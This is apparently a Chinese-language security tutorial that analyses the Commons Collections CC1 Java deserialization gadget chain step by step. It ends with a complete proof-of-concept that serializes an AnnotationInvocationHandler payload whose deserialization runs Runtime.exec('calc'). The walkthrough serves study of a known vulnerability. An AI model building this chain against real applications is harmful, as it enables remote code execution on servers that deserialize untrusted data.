JAVA反序列化漏洞利用链之CC1-1

1.简介

  • 该链主要利用org.apache.commons.collections.functors.InvokerTransformer类可通过反射调用程序中任意方法,包括Runtime.getRuntime()方法。
  • pom.xml导入commons-collections依赖
1
2
3
4
5
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>

2.代码分析

2.1.执行类分析

  1. 在CC1中用来作为执行类的是org.apache.commons.collections.functors.InvokerTransformer
  2. 首先我们需要分析一下为什么该来可以用来作为执行类。
    • 在该类中存在一个可传入任意对象执行反射调用方法transform,改方法可传入一个Object类型的对象,且其中调用的方法名和方法参数都可通过构造方法进行控制。
    • 构造方法参数
      • methodName 需要调用方法的方法名。
      • paramTypes 调用方法的参数类型。
      • args 调用方法所传入的参数。
    • 通过控制该类对象我们可以调用任意的对象的任意方法,因此这个类是一个很好的执行类。
    • 并且该类实现了Serializable接口,是可序列化的类。
    • 该类是commons.collections中的类,也就是说只要导入了CC依赖的目标系统都存在该类。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);

} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}

//构造方法
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
  1. 我们再来分析一下我们如何通过这个类来实现执行系统命令。

    • 首先在JAVA中我们通常是通过Runtime.getRuntime.exec()来实现执行系统命令。
    • 但是由于Runtime类并未实现Serializable接口,因此不可进行序列化。不过由于Class类是实现了Serializable接口,因此我们可以通过反射调用。
    1
    2
    3
    4
    5
    Class c = Runtime.class;
    Method getRuntimeMethod = c.getMethod("getRuntime", null);
    Runtime r = (Runtime) getRuntimeMethod.invoke(null, null);
    Method execMethod = c.getMethod("exec", String.class);
    execMethod.invoke(r, "calc");
    • 我们再使用InvokerTransformer来调用
    1
    2
    3
    4
    Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);

    Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntimeMethod);
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);
    • 这样写的话我们需要调用三个对象的transform方法,实现起来比较困难。有没有什么方法将三个transform放在一起执行?
    • 这个时候我们可以看到和InvokerTransformer同一个包下的ChainedTransformer,该类可以传入transformer数组,并依次调用传入的对象的transform方法,并将前一个调用的结果作为后一个对象transform方法的入参。
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    public ChainedTransformer(Transformer[] transformers) {
    super();
    iTransformers = transformers;
    }
    public Object transform(Object object) {
    for (int i = 0; i < iTransformers.length; i++) {
    object = iTransformers[i].transform(object);
    }
    return object;
    }
    • 那么我们封装编写一下,就有如下的代码逻辑。
    1
    2
    3
    4
    5
    6
    7
    Transformer[] transformers = new Transformer[]{
    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
    };
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    chainedTransformer.transform(Runtime.class);
    • 但是该代码逻辑还是有个小问题,就是调用chainedTransformer.transform()方法需要我们固定传入一个Runtime.class,否则之后的代码逻辑无法再执行下去。
    • 因此基于以上的代码逻辑我们还可以优化一下。同样我们在同一个包下,我们可以看到叫ConstantTransformer的类,该类接收一个参数构造对象,之后该ConstantTransformer对象调用transform方法,无论调用transform方法传入什么对象,都只会返回我们构造参数时传入的参数,那么我们可以优化代码,这样写了之后无论 chainedTransformer.transform()传入什么参数都不影响代码的执行。
    1
    2
    3
    4
    5
    6
    7
    8
    public ConstantTransformer(Object constantToReturn) {
    super();
    iConstant = constantToReturn;
    }

    public Object transform(Object input) {
    return iConstant;
    }
    1
    2
    3
    4
    5
    6
    7
    8
    Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
    };
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    chainedTransformer.transform("xxxx");
    • 那么这样优化代码之后我们只需要执行 chainedTransformer.transform()方法就可以执行到我们想要执行的系统命令。
  2. 最后什么执行类整体逻辑如下图。

image-20250114145918262

2.2.调用链

  1. 那么接下来我们需要寻找的就需要寻找有哪些类调用了有一个参数的transform()方法,或者是否直接有什么类的中的readObject方法中调用了该transform方法,由于我们使用了ConstanTransformer类进行配置,因此我们不需要在意transform()是否可控,只要调用了一个参数的transform()类都可以尝试调用链利用。
  2. 在IDEA中我们可以通过查找用法,找到都有哪些类方法对该方法进行了调用,最后我们可以找到org.apache.commons.collections.map.TransformedMap,这样一个类,我们找到他的原因是该类中checkSetValue调用了一个Object参数的transform()方法,并且其中valueTransformer是可控的,我们可以通过decorate方法对valueTransformer进行赋值,并且该类TransformedMap是实现了Serializable接口,因此我们选择该类。
1
2
3
4
5
6
7
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}

protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}
  1. 这时我们再来找是否有其他的类调用了一个Object参数类型的checkSetValue方法,或者直接是否有什么类的readObject方法调用了checkSetValue()。

  2. 最后在所有的类中我只找到一个类有调用checkSetValue方法,也就是MapEntry类。

  3. 众所周知(如果不知道也没关系,现在知道了),MapEntry类就是我们的MAP中的一个键值对,每个键值对就是一个MapEntry,因此想要调用setValue方法就是要找,目标类中遍历了map键值对,同时对其中的键值对通过setValue方法对键值对中的值进行赋值。我们要找的就是这样一个类,遍历map,且通过setValue方法对其值进行赋值,不过这个赋的值为任意值。

image-20250114154703979

image-20250114165840380

  1. 通过以上分析我们暂时可以编写出如下代码。
1
2
3
4
//先新建一个正常map,任意赋值即可
HashMap<Object, Object> map = new HashMap<>();
map.put("xxx", "yyyy");
Map<Object, Object> tranformeMap = TransformedMap.decorate(map, null, chainedTransformer);

2.3.入口类分析

  1. 接下来我们开始找入口类,首先我们在没找之前并不确定我们能否找到这样的入口类,如果没找到我们还是只能继续找是是否有其他类的方法有调用,再重新找,以此进行下去,知道我们找到了一个可序列化的类,且readObject方法调用了我们要找的方法,那么该能就是我们要找的类。所以我们要注意的是我们在没找到这样一个类之前,我们并不确定我们是否能找到这样一个入口类。
  2. 还是那句话,需要找一个类方法,最好直接是readObject方法,遍历了map,且通过setValue方法对该键值对进行赋值。那么这样的类还是挺多的找起来会比较麻烦,那么最后通过我们不懈的努力终于找到了一个这样一个类sun.reflect.annotation.AnnotationInvocationHandler,也就是我们经常做动态代理时用到的处理器类,在该类的readObject方法中存在一个遍历map,且map可控。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
Class<?>[] superInterfaces = type.getInterfaces();
if (!type.isAnnotation() ||
superInterfaces.length != 1 ||
superInterfaces[0] != java.lang.annotation.Annotation.class)
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
this.type = type;
this.memberValues = memberValues;
}

private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();

// Check to make sure that types have not evolved incompatibly

AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}

Map<String, Class<?>> memberTypes = annotationType.memberTypes();

// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}
  1. 根据该类中的readObject方法,其中memberValues是我们可控的map,而根据之前的调用链分析,我们需要执行到MapEntry类中的setValue方法,因此我们需要去确定try-catch和两个if,确保执行到我们的memberValue.setValve()方法。

    • 首先我们来看try-catch,确保try中的代码执行不会被抛出异常,根据try中的代码逻辑我们可以判断,只需要type的类型为注解类型,那么我们就能成功执行try中的代码而不会抛出异常。其中type是我们可控的参数,因此我们在传入参数时可将type传入为注解类型即可。(例如:Retention.class,Target.class,Override.class)
    • 然后我们还需要通过if (memberType != null),而memberType是从annotationType.memberTypes()方法的返回值。如果不懂该方法的作用,咱们可以看看该方法的描述。也就是说,返回该注解的成员变量,而如果我们注入的参数是Target.class,那么我们可以从Target的接口中看到有一个叫value的成语变量。

    image-20250122162702470

    image-20250122162823384

    • 如果我们直接执行代码的话会发现,我们是获取不到这个叫value的成员变量的。

    image-20250122163431004

    • 但我们从调试代码中也可以看到其实memberValue是可以获取到我们传入的Target.class的成员变量value的,但是在meberTypes.get(name)中,没有获取到这个方法。那么我们没有获取到这个成员变量的原因呢必然就是这个name不为value,导致无法进入该if函数内,我们如何来控制这个name呢。我们通过审计代码可以发现,这个name呢其实是memberValues中的键值对memberValue的key值,而这个memberValue中的key值自然是之前通过构造方法传入的map中的key值,我们只需要在构造的map中将key值设置为”value”,即可成功获取的注解的value成员变量。

    image-20250122163609647

    • 那么我们再来到第二个if,这个if就简单了,if (!(memberType.isInstance(value) ||
      value instanceof ExceptionProxy))。基本上不用怎么分析就可以看出这个就是判断在判断我们获取到的memberValue是否是memberType的实例,我们就是从注解中获取的成员变量,肯定是memberType的实例,因此这个if就通过了判断。
    • 通过了一个try-catch和两个if的判断,我们就可以成功的执行到memberValue.setValue方法了。
    • 那么最后部分的代码编写就为
    1
    2
    3
    4
    5
    6
    7
    8
    9
    Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor<?> aihc = c.getDeclaredConstructor(Class.class, Map.class);
    //非public方法,需要反射爆破调用
    aihc.setAccessible(true);
    Object o = aihc.newInstance(Target.class,tranformeMap);
    //序列化数据到文件ser.bin
    Serializer.serialize(o);
    //反序列化当前路径的ser.bin文件
    Serializer.deSerialize("ser.bin");

2.4.完整代码逻辑分析

  • 以下是完整的代码逻辑。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
//构造代码执行类
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

//构造调用链
HashMap<Object, Object> map = new HashMap<>();
map.put("value", "yyyy");
Map<Object, Object> tranformeMap = TransformedMap.decorate(map, null, chainedTransformer);


//构造入口类 inputObject
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> aihc = c.getDeclaredConstructor(Class.class, Map.class);
aihc.setAccessible(true);
Object inputObject = aihc.newInstance(Target.class,tranformeMap);
Serializer.serialize(inputObject);
Serializer.deSerialize("ser.bin");
1
2
3
4
5
6
7
8
9
10
11
12
//序列化类代码
public class Serializer {
public static void serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(Files.newOutputStream(Paths.get("ser.bin")));
objectOutputStream.writeObject(obj);
}
public static Object deSerialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(Files.newInputStream(Paths.get(Filename)));
return objectInputStream.readObject();
}
}

3.总结

  • 以下为反序列化流程编写的实例图。
    • 其中红色部分是我们需要编写的部分,方框是数组,倒角四边形为类对象。
    • 橙色菱形部分为链执行的方法。
    • 不带箭头的连接线表示为该类的方法。
    • 带箭头的连接线表示为在该方法中调用了另外一个方法。
    • 蓝色部分为过程中出现的调用类,并非我们在编写代码过程中直接操作的类。

image-20250122175344731

  • 该链中最重要的就是InvokerTransformer的transform方法,可执行系统中的任意函数,再通过ChainedTransformer和AnotationInvocationHandler构造了一条完整的代码执行链。
  • 小Tips:
    • 在我们编写的代码中,构造的HashMap的key其实是指定获取注解中成员变量的变量名,否则无法获取。
    • AnotationInvocationHandler的入参注解必须要具有成员变量的注解,否则无法执行到setValue()方法就会抛出异常,例如override方法就不具有成员变量,因此不能作为AntationInvocationHandler的入参。
    • 有人可能会纠结memberValue.setValue()方法入参不可控,为什么还能执行代码,不应该需要传入的是Runtime.class吗?不要忘了我们在构造ChainedTransformer的时候,将首个参数设置成了ConstantTransformer,而该参数无论在transform中传入什么参数都是不应该他的返回结果的,返回结果都是我们构造时传入的Runtime.class。